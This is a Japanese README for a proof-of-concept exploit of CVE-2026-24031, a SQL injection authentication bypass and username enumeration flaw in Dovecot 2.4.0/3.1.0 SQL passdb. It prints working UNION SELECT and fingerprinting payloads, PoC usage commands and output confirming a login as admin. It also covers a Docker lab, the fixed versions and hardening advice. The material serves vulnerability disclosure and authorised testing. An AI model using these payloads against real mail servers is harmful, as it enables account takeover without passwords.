
Dovecot SQL認証バイパスのための自己完結型Python PoC:実際のパスワードを使わずに任意のユーザーとしてログインし、脆弱性のある2.4.0/3.1.0 IMAP/POP3サーバー上でユーザー名を列挙します。
このリポジトリには、CVE-2026-24031 の概念実証(PoC)認証バイパスエクスプロイトが含まれています。CVE-2026-24031 は、Dovecot 2.4.0 / 3.1.0 でリグレッションとして導入された、Dovecot の SQL ベース認証における SQL インジェクションです。テストした Docker ラボ(Dovecot 2.4.0 + PostgreSQL)では、PoC は実際のパスワードを知らなくても任意のユーザーとしてログインでき、ユーザー列挙も行えます。
警告
この PoC は、メールサーバーに対して未認証の認証バイパスを実行します。自分が所有するラボ、または明示的にテストを許可されたターゲットに対してのみ使用してください。サーバーの状態は変更しませんが、認証を実行するため、ログに失敗したログインエントリが残る可能性があります。
管理者が auth_username_chars 設定ディレクティブをクリア(空の値に設定)すると、Dovecot の SQL ベース認証は脆弱になります。通常、auth_username_chars は入力フィルターとして機能し、ユーザー名が SQL passdb クエリに展開される前に、ユーザー名に許可される文字を制限します。
auth_username_chars = が空の場合、値は sql_escape_string() なしでクエリに渡されます。そのため、SQL メタ文字を含む細工されたユーザー名がクエリの一部になります:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
次のペイロードを使用すると、攻撃者が選択したパスワードを持つ VICTIM の行がクエリで返されます:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} は(データベースではなく)Dovecot によって解析されるため、パスワードスキームはネイティブに処理され、このトリックは pgsql、mysql、mariadb、sqlite で機能します。その後、パスワードとして 12345 を送信すると一致し、実際のパスワードを知らなくても VICTIM として LOGIN OK が返されます。
結果のクエリは次のとおりです:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
これはDovecot 2.4.0 で導入されたリグレッションであり、3.1.0 にも存在します。以前の 2.2.x / 2.3.x リリースではユーザー名がエスケープされるため、影響を受けません。この欠陥は 2.4.3 および 3.1.4 で修正されています(OXDC-ADV-2026-0001、DOV-8781)。
この脆弱性は、以下のすべてが当てはまる場合にのみ該当します:
pgsql、mysql、mariadb、sqlite を使用する SQL passdb(driver = sql);auth_username_chars = (空)— 管理者が設定するトリガー条件;PoC は Dovecot 2.4.0(公式リリースタグ、daeb6bc5)+ PostgreSQL に対して検証されました。
ユーザー名 ' OR '1'='1' -- と任意のパスワードで認証します。脆弱なサーバーではクエリが変更されるため、Dovecot は通常の AUTHENTICATIONFAILED の代わりに a1 NO [UNAVAILABLE] Temporary authentication failure. を返します。これが、ユーザー名がエスケープされずに SQL クエリに到達したことを示すフィンガープリントです。
次のユーザー名で認証します:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
パスワードは 12345 を使用します。UNION 行が VICTIM の password 列を上書きし、{PLAIN} は Dovecot によって解析されるため、パスワードチェックが成功します。
クエリ結果の形状が「ユーザーが存在する」場合と「ユーザーが存在しない」場合で異なる(行数と応答ステータス)ため、サーバーはユーザー名が存在するかどうかを漏らします。これは影響を受けるすべてのバックエンドで機能します。
PoC は自己完結型の Python 3 スクリプトです(標準ライブラリのみを使用)。脆弱なラボを起動してエクスプロイトを実行します:
./run.sh
run.sh は Docker ラボ(lab/docker-compose.yml)をビルドして起動し、127.0.0.1:14193 の IMAPS を待機してから PoC を実行します。ラボは、意図的に脆弱な構成と PostgreSQL データベースを備えた公式リリース tarball から Dovecot 2.4.0 をビルドします。
手動での同等の手順:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC のオプション:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
ラボのデータベースには、admin/admin123、alice/alicepass、bob/bobpass、postmaster/postpass、victim/supersecret のユーザーが登録されています。PoC は admin のパスワードを知らなくても admin になりすまします。
PoC は Docker ラボでエンドツーエンドで検証されました。admin ユーザーの実際のパスワードは admin123 ですが、PoC は 12345 を使用して admin としてログインします。
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
正規の対照テストとエスケープなし検出の手順を含む、サニタイズ済みの完全なトランスクリプトは、docs/example-output.txt にあります。
この README の上部にあるアニメーションデモ(assets/CVE-2026-24031.gif)は、実行中のラボに対する実際のセッションから記録されたものです。次のコマンドで再生成できます:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh はライブデモを実行します。demo.cast は GIF のレンダリングに使用される asciinema の生の録画です。
アドバイザリ(OXDC-ADV-2026-0001、DOV-8781)はすでにアップストリームで公開されています。Dovecot 2.4.3 / 3.1.4 は、ユーザー名を SQL クエリに展開する前にエスケープします。そのため、このリポジトリには修正内容は重複して含まれていません。推奨される堅牢化策は、auth_username_chars を決してクリアしないこと、または修正済みリリースにアップグレードすることです。
脆弱性の発見者:whisperer@yeswehack。
調査とエクスプロイトの実装:A. Ramos <[email protected]>(Twitter:@aramosf)。
CVE-2026-24031 Dovecot SQL 認証バイパス(認証バイパス+ユーザー列挙)PoC
| バージョン | 状態 |
|---|
| Dovecot 2.2.x | 影響なし(ユーザー名はエスケープされる) |
| Dovecot 2.3.x | 影響なし(ユーザー名はエスケープされる) |
| Dovecot 2.4.0 | 影響あり(リグレッション:ユーザー名がエスケープされない) |
| Dovecot 2.4.3+ | 修正済み(ユーザー名はエスケープされる) |
| Dovecot 3.1.0 | 影響あり(同じリグレッション) |
| Dovecot 3.1.4+ | 修正済み(ユーザー名はエスケープされる) |